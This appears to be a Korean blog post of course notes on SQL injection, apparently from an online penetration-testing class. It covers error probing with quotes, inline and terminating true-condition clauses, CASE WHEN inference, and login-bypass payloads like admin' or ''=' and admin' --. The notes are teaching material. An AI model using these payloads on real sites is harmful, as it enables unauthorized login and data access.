인프런 모의해킹 실무 강의 中 메모
1. 에러 유무
1) 로그인 폼이 문자형일 경우 싱글쿼터를 사용
- 싱글쿼터만 입력 후 에러메세지 유무 ex)절대 경로 유출 등
- 정상적인 출력이 아닌 에러 발생 시 싱글쿼터에 대해 검증을 하지 않기 때문에 SQL Injection 이 발생할 확률이 높구나 란 추론이 가능
2) 공백 값을 넣어 확인
- mysql 같은 경우 공백이 들어감 문장과 문장을 이어주기 위함
ex) id : g' 'uest / pw : guest -> 정상로그인
- 하지만, 아이디를 알고 있을 경우에는 위와 같이 하지만 모를 경우에는 어떻게 할까?
ex) te' 'st -> 모르는 값을 아이디 입력 시 정상적인 출력이 되는지 확인 후, te'a'st 와 같이 공백안에 임의의 문자를 넣어 에러가 발생하는 지 확인한다. -> 에러가 발생하면 취약하다는 것이 확인되는 것.
2. 취약 유무
3. 조건구문 작성
조건구문 완성 자체가 인증으로 넘어가는 것
* 인젝션 시에는 해당 구문을 작성하는 것이 도움이된다.
select * from board where title like '%%' (검색창에 ' and '1'='1 을 입력한다면 다음과 같다)
select * from board where title like '%' and '1'='1%'
---> title like '%' 는 참(True), '1'='1%'는 거짓(False) 이므로 거짓인 구문이 된다.
* %(와일드 카드)는 = 연산자가 있기 때문에 단순 문자가 된다.
<Inline Query 형태의 참을 반환하는 SQL 쿼리 구문>
건강%' and 1=1 and '1%'='1
'%cre%' and '%'='%'
' and '%'=' ----> 모든 게시물 조회 (select * from board where title like '%' and '%'='%')
---> title like '%' 는 참
---> '%='%' 도 참 (= 연산자 때문에 와일드카드가 단순 문자로 취급)
---> 조건 구문을 완성해보자.
터미네이팅 같은 경우 예로 ' and 1=1-- 으로 처리하게 되면 1=1 부분에 조건 구문이 들어오면 된다.
하지만 Inline 방식은 뒤에 싱글쿼터 구문이 숨어있기 때문에 ' and '%'=' 같은 구문에서는 추론을 위한 구문이 들어가지 못한다.
그렇기 때문에 1-1 and를 추가로 넣어준다.
' and 1=1 and '%'=' ---> '%' and 1=1 and '%'='%'
<Terminating Query 형태의 참을 반환하는 SQL 쿼리 구문>
'%cre%' and 1=1--
ex) select * from board WHERE title like '%'||(case when 1=1 then '건강' else 'aaa' end)||'%'
%는 문자로 남아있고 case when 결과 값 반환하면 건강이 반환
-> '%'||'건강'||'%' -
> '%건강%' 과 동일한 결과값이 된다(참일 경우)
-> 거짓일 경우
-> '%aaa%' 위와 같이 참 거짓을 판별해서 다양하게 응용이 가능 아이디를 알고 있을 경우 admin' or '1'=' --> select * from member where id='admin' or '1'='' and pw='[ENCRYPT DATA]'
-------------------------------------------[실습3-2] 인증 우회 공격 실습-----------------------------------------------------
* 원본 쿼리 : select * from member where id='{$id}' and pw='{$pw}'";
ID | 조건 구문 형태 | 조건 구문 | 예시 1 |
O | In-line Query | ID : admin' or ''=' PW : 임의의 값 |
select * from member where id like 'admin' or ''='' and pw = '{$pw}'"; |
O | Terminating Query | select * from member where id like 'admin' -- ' and pw = '{$pw}'"; or select * from member where id like 'admin' # ' and pw = '{$pw}'"; |
|
X | In-line Query | select * from member where id like '' or 1=1 or '1'='1' and pw = '{$pw}'"; | |
X | Terminating Query | select * from member where id like '' or 1=1 -- ' and pw = '{$pw}'"; |
mysql 같은 경우 주석문자가 --, # 이 있다. -- 주석문자는 사용방법이 다르다. 공백이 존재해야한다. 해당 문자열의 양 사이드에 공백이 있어야 하며, 공백이 없을 경우 에러가 발생한다. (공백--공백, ' -- ')
'Cyber Security' 카테고리의 다른 글
내부망 / DMZ 구간 / 외부망 용어 정리 (0) | 2020.08.05 |
---|---|
[Kali Linux] - Nessus Web 취약점 스캐너 사용하기(무료,홈버전) (0) | 2020.07.17 |
URL 관련 개념 정리 (0) | 2020.03.19 |
Yara 실습 (0) | 2020.03.19 |
침투테스트 개념 정리 (0) | 2020.03.19 |